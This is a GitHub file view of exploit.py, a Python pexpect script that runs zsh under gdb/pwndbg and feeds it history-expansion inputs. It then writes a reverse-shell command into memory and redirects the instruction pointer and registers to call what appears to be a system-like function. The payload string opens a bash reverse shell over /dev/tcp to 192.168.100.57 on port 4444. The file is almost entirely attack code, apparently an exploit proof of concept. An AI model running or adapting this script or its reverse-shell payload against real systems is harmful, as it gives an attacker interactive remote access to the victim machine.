-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
106 lines (93 loc) · 3.4 KB
/
exploit.py
File metadata and controls
106 lines (93 loc) · 3.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import pexpect
import sys
import time
def debug_print(msg):
print(f"[DEBUG] {msg}")
def return_to_gdb(gdb, max_attempts=3, timeout=3):
"""More reliable function to return to GDB prompt"""
debug_print("Attempting to return to GDB...")
for attempt in range(max_attempts):
gdb.sendintr() # Send CTRL+C
time.sleep(0.5)
try:
index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT], timeout=timeout)
if index in [0, 1]: # Found either pwndbg> or (gdb) prompt
debug_print("Successfully returned to GDB")
return True
except pexpect.EOF:
debug_print("Session ended unexpectedly")
return False
debug_print(f"Attempt {attempt + 1} failed, retrying...")
debug_print("Failed to return to GDB after maximum attempts")
return False
# Configure pexpect with consistent bytes mode
gdb = pexpect.spawn('gdb --args zsh -f', timeout=30, encoding=None)
gdb.logfile = sys.stdout.buffer
debug_print("Starting GDB with zsh -f...")
try:
gdb.expect(b'pwndbg>', timeout=10)
debug_print("GDB started successfully")
except (pexpect.EOF, pexpect.TIMEOUT) as e:
debug_print(f"GDB failed to start: {str(e)}")
sys.exit(1)
# Run zsh and handle shell
debug_print("Running zsh...")
gdb.sendline(b'run')
shell_prompts = [b'% ', b'# ', b'\\$ ', b'vuln>', b'vuln% ']
try:
gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10)
debug_print("Shell started successfully")
except pexpect.TIMEOUT:
debug_print("Timeout waiting for shell")
gdb.sendintr()
time.sleep(1)
# Shell command execution
if any(prompt in gdb.after for prompt in shell_prompts):
for cmd in [b'!', b'!!11111111111']:
debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
gdb.sendline(cmd)
try:
gdb.expect(shell_prompts, timeout=3)
debug_print("Command executed")
except pexpect.TIMEOUT:
debug_print("No response from command")
# Use the new return_to_gdb function
if not return_to_gdb(gdb):
debug_print("Critical error - couldn't return to GDB")
sys.exit(1)
# Memory operations - simplified and more reliable
if b'pwndbg>' in gdb.after:
mem_commands = [
b'x/s 0x555555659000',
b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.57/4444 0>&1\\""',
b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
b'set $rdi = 0x555555659000',
b'set $rsp = $rsp - 8',
b'continue',
b'set {long}$rsp = 0x55555555a000',
b'set $rip = 0x7ffff7cc9110',
b'set $rdi = 0x555555659000',
b'continue'
]
for cmd in mem_commands:
debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
gdb.sendline(cmd)
try:
if b'continue' in cmd:
gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15)
else:
gdb.expect(b'pwndbg>', timeout=5)
except pexpect.TIMEOUT:
debug_print("Timeout - attempting to recover...")
if not return_to_gdb(gdb):
debug_print("Failed to recover after timeout")
break
# Final interactive mode
debug_print("Complete - entering interactive")
try:
gdb.logfile = None
gdb.interact()
except Exception as e:
debug_print(f"Interactive error: {str(e)}")
finally:
gdb.close()